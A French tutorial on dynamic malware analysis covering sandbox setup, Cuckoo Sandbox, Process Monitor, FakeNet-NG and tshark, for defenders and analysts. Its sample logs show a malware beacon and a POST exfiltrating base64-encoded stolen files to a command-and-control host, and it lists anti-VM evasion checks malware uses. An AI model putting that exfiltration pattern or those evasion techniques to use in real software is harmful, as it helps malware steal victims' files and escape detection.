L’analyse dynamique consiste à exécuter un malware dans un environnement contrôlé et isolé pour observer son comportement réel : fichiers créés, connexions réseau établies, clés de registre modifiées, processus lancés. Cette approche révèle ce que l’analyse statique ne peut pas toujours déduire, notamment les charges utiles déchiffrées à l’exécution.
Environnement de sandbox sécurisé
Précautions avant d'exécuter un malware :
✓ Machine virtuelle dédiée (jamais la machine hôte)
✓ Snapshot avant exécution (restauration rapide)
✓ Réseau isolé (host-only ou réseau simulé)
✓ Désactiver les Guest Additions (anti-VM bypass)
✓ Désactiver Windows Defender et UAC sur la VM
✓ Simuler un vrai environnement (créer de faux documents, contacts)
Analyse avec Cuckoo Sandbox
# Installation Cuckoo (Ubuntu/Debian)
pip install cuckoo
cuckoo init
cuckoo community # Télécharger les signatures
# Soumettre un échantillon
cuckoo submit malware.exe
cuckoo submit --timeout 120 malware.exe # 2 minutes d'analyse
# Interface web
cuckoo web --host 0.0.0.0 --port 8080
# Accès : http://localhost:8080
# Rapport JSON : activité réseau, fichiers, registre, screenshots
Surveillance manuelle avec Process Monitor
ProcMon (Windows) — filtres recommandés :
Filtrer par Process Name → malware.exe
Colonnes importantes :
Path → Fichiers lus/écrits/supprimés
Operation → RegSetValue, CreateFile, WriteFile, ConnectTCP
Result → SUCCESS, ACCESS DENIED
Patterns suspects à chercher :
→ HKCU\Software\Microsoft\Windows\CurrentVersion\Run (persistance)
→ C:\Users\*\AppData\Roaming\ (installation)
→ C:\Windows\System32\ (contamination système)
→ %TEMP%\ (dépose d'autres fichiers)
Analyse réseau avec FakeNet-NG
# FakeNet-NG simule tous les services réseau (DNS, HTTP, SMTP...)
# → Le malware "croit" communiquer avec son C2
pip install fakenet
# Lancer FakeNet (dans la VM sandbox)
fakenet
# Logs disponibles :
# GET http://c2.malware.ru/update?id=AABBCCDD
# POST http://c2.malware.ru/upload data=base64(fichiers_volés)
# DNS query: c2.malware.ru → 127.0.0.1 (redirigé par FakeNet)
Wireshark dans la sandbox
# Capturer tout le trafic réseau pendant l'exécution
sudo tshark -i eth0 -w malware_traffic.pcap &
./malware.exe
kill %1 # Arrêter la capture
# Analyser les flux
tshark -r malware_traffic.pcap -Y "tcp or udp" -T fields \
-e ip.dst -e tcp.dstport -e udp.dstport | sort | uniq
# IoC réseau extraits
tshark -r malware_traffic.pcap -Y http.request -T fields \
-e http.host -e http.request.uri | sort -u
Anti-VM et techniques d’évasion
Détection de VM par le malware :
- VMware : présence de VMwareService.exe, clé registre VMware
- VirtualBox : VBOX*.sys, clé HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
- Sandboxie : SbieSvc.exe, SbieDll.dll
- Timing checks : RDTSC (instruction CPU très rapide sur baremetal)
- Nombre de processus < 20 → probablement une sandbox
- Absence de documents récents, d'historique navigateur
Contournements :
→ Installer de vraies applications dans la VM
→ Patcher le CPUID (VMware Workstation → advanced settings)
→ Laisser la VM active plusieurs jours avant l'analyse
→ Utiliser des services sandbox online : any.run, hybrid-analysis.com
- Toujours analyser dans une VM snapshotée avec réseau isolé
- Cuckoo Sandbox automatise l'analyse comportementale et génère des rapports détaillés
- FakeNet-NG simule les services réseau pour capturer les communications C2
- Les malwares modernes détectent les environnements virtuels — soigner l'environnement d'analyse
📚 Formation : Cybersécurité avancée : exploitation et red team

-
Add a note